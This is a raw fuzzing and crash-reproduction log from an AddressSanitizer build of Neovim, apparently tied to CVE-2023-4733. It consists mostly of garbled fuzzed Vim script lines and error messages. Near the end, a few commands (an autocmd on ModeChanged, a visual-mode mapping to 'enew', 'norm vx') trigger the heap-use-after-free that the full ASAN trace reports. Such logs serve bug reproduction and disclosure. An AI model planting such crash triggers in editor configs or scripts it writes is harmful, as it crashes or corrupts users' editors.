^?\nline 46: t\n\nline   46:\nE16: Invalid range\nline 47: nFK^Rd\n\nline   47:\nE492: Not an editor command: nFK^Rd\nline 48: t0]\n\nline 49: eere ln^P^P^X\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 49: unlet! b:keymap_name\n\nline 50: o^P^EO,'\n\nline   50:\nE488: Trailing characters: o^P^EO,'\nline 51: b\n\nline   51:\nE94: No matching buffer for \nline 52:  ^PN,'\n\nline   52:\nE492: Not an editor command:  ^PN,'\nline 53:  \n\nline 54: norm:a^P^P^P^L^P^Q ^P^P^P^P^PM^P^P^L^P^Q ^P^P^P^P*^P^P^P^P^P^P,^A^P ^Pq^P^P^M^P^P^Lorm:s^P\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\^I^I^S<80>^Vg^I^P^P^P^P^M^P^P^P^P^P^P^]^P^O^P^P^P^NSSSSSSsSSd K t0]<80> \n:a\n\nline 55: ^Po^Sd\n\nline   55:\nE492: Not an editor command: ^Po^Sd\nline 56: nFK\n\nline   56:\nE492: Not an editor command: nFK\nline 57: t<8b>^Dl<9c>ll\n\nline   57:\nE16: Invalid range\nline 58: d K2\n\nline 59: d ^?\n\nline   59:\nE488: Trailing characters: d ^?\nline 60: d K\n\nline 61: t0\n\nline 62: nFQ\n\nline   62:\nE492: Not an editor command: nFQ\nline 63: t0H\n\nline 64: d ^?2\n\nline   64:\nE488: Trailing characters: d ^?2\nline 65: eGere ln\n\nline   65:\nE492: Not an editor command: eGere ln\nline 66: ln.lhe S$  ^_                 K\n\nline 67: t0\n\nline 68: }FKs<\n\nline   68:\nE492: Not an editor command: }FKs<\nline 69: se s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\n\nline   69:\nE518: Unknown option: s}Ud<8a>h<8a><8a><8a><8a><8a>A^Z\nline 70: -\n\nline 71: norm^E^E^Vm^E+^V<9b>;^V^V^El\n\nline 72: W\n\nline   72:\nE492: Not an editor command: W\nline 73: geeeeeeeeeeeee\n\nline   73:\nE492: Not an editor command: geeeeeeeeeeeee\nline 74: d<8b>\n\nline   74:\nE488: Trailing characters: d<8b>\nline 75:  @^P\n\nline   75:\nE354: Invalid register name: ''\nline 76: dr<80>|e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 76: e^A\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 77: ^P\n\nline   77:\nE492: Not an editor command: ^P\nline 78: u\n\n2 fewer lines; before #1  0 seconds ago\nline 79: <90>\n\nline   79:\nE492: Not an editor command: <90>\nline 80: <80> @d\n\nline   80:\nE492: Not an editor command: <80> @d\nline 81: uc\\^A\n\nline   81:\nE488: Trailing characters: uc\\^A\nline 82: g<9a>\n\nline   82:\nE35: No previous regular expression\nE476: Invalid command\nline 83: r\n\nline   83:\nE484: Can't open file \nline 84: d<8b>2\n\nline   84:\nE488: Trailing characters: d<8b>2\nline 85: W K2d K\n\nline   85:\nE492: Not an editor command: W K2d K\nline 86: i0]\n\nline   86:\nE488: Trailing characters: i0]\nline 87: ^Po\"d\n\nline   87:\nE492: Not an editor command: ^Po\"d\nline 88: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\n\nline   88:\nE492: Not an editor command: <8f>F\u03fc^?<88>R<85><8b>^De<89>ll\nline 89: d 92\n\nline 90: d ^?\n\nline   90:\nE488: Trailing characters: d ^?\nline 91: _ K\n\nline   91:\nE492: Not an editor command: _ K\nline 92: t\n\nline   92:\nE16: Invalid range\nline 93: nFK^Rd\n\nline   93:\nE492: Not an editor command: nFK^Rd\nline 94: t0]\n\nline 95: eere ln\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4733)\nline 95: unlet! b:keymap_name\n\nline 96: ln.lhe  $  ^_*        ooooooooo  :     2\n\nline 97: eGere ln\n\nline   97:\nE492: Not an editor command: eGere ln\nline 98: lnt0!\n\nline   98:\nE492: Not an editor command: lnt0!\nline 99: ^Po^Sd\n\nline   99:\nE492: Not an editor command: ^Po^Sd\nline 100: nFS\n\nline  100:\nE492: Not an editor command: nFS\nline 101: t\n\nline  101:\nE16: Invalid range\nline 102: t0] ^?\n\nline 103: ^Po K\n\nline  103:\nE492: Not an editor command: ^Po K\nline 104: t0] ^?\n\nline 105: nFK\n\nline  105:\nE492: Not an editor command: nFK\nline 106: t\n\nline  106:\nE16: Invalid range\nline 107: t0]\n\nline 108: ^Po\n\nline  108:\nE492: Not an editor command: ^Po\nline 109: norm:a^P^P^P^L^P^Q ^P^P^P<87>\n:a\n\nline 110: ggggggggggggggggggggg^Ngr\n\nline  110:\nE492: Not an editor command: ggggggggggggggggggggg^Ngr\nline 111: br^N(\n\nline  111:\nE488: Trailing characters: br^N(\nline 112: ^\\elMl<84>\n\nline  112:\nE492: Not an editor command: ^\\elMl<84>\nline 113: new\n\nline 113: unlet! b:keymap_name\n\nline 114: autocmd ModeChanged v:* ++once close\n\nline 115: vnoremap x enew\n\nline 116: norm vx\nline 116: enew\n\nExecuting ModeChanged Autocommands for \"v:*\"\nautocommand close\n\nExecuting: close\n=================================================================\n==42437==ERROR: AddressSanitizer: heap-use-after-free on address 0x626000003308 at pc 0x0000006a9285 bp 0x7fff66f63400 sp 0x7fff66f633f8\nREAD of size 8 at 0x626000003308 thread T0\n    #0 0x6a9284 in buflist_altfpos /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46\n    #1 0x8f10ae in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2412:9\n    #2 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #3 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #4 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #5 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #6 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n    #7 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #8 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #9 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #10 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #11 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #12 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #13 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #14 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #15 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #16 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #17 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #18 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #19 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #20 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #21 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #22 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #23 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x626000003308 is located 520 bytes inside of 10896-byte region [0x626000003100,0x626000005b90)\nfreed by thread T0 here:\n    #0 0x4d943d in free (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d943d)\n    #1 0xbdb6d4 in xfree /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:122:3\n    #2 0x68d64e in apply_autocmds_group /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1892:7\n    #3 0x69088d in apply_autocmds /home/zzw/Desktop/neovim/build/../src/nvim/autocmd.c:1504:10\n    #4 0xfc8e92 in may_trigger_modechanged /home/zzw/Desktop/neovim/build/../src/nvim/state.c:256:3\n    #5 0xc58540 in end_visual_mode /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2302:3\n    #6 0xc59ada in reset_VIsual /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:2323:5\n    #7 0x8f0d6f in do_ecmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds.c:2385:3\n    #8 0x967949 in do_exedit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7536:9\n    #9 0x97b8f8 in ex_edit /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7464:3\n    #10 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #11 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #12 0xc74218 in nv_colon /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4082:20\n    #13 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #14 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #15 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #16 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #17 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #18 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #19 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #20 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #21 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #22 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #23 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #24 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #25 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #26 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #27 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #28 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\npreviously allocated by thread T0 here:\n    #0 0x4d9832 in calloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d9832)\n    #1 0xbdb76e in xcalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:136:15\n    #2 0x1164d49 in win_alloc /home/zzw/Desktop/neovim/build/../src/nvim/window.c:4934:19\n    #3 0x1172431 in win_split_ins /home/zzw/Desktop/neovim/build/../src/nvim/window.c:1199:12\n    #4 0x115bf46 in win_split /home/zzw/Desktop/neovim/build/../src/nvim/window.c:949:10\n    #5 0x9661f7 in ex_splitview /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:7262:14\n    #6 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #7 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #8 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #9 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #10 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #11 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #12 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #13 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #14 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #15 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #16 0x7f7577e0b082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-use-after-free /home/zzw/Desktop/neovim/build/../src/nvim/buffer.c:2949:46 in buflist_altfpos\nShadow bytes around the buggy address:\n  0x0c4c7fff8610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n  0x0c4c7fff8620: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8630: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8640: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8650: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n=>0x0c4c7fff8660: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8670: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8680: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff8690: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff86a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\n  0x0c4c7fff86b0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==42437==ABORTING", "creation_timestamp": "2026-09-06T14:16:49.092225Z"}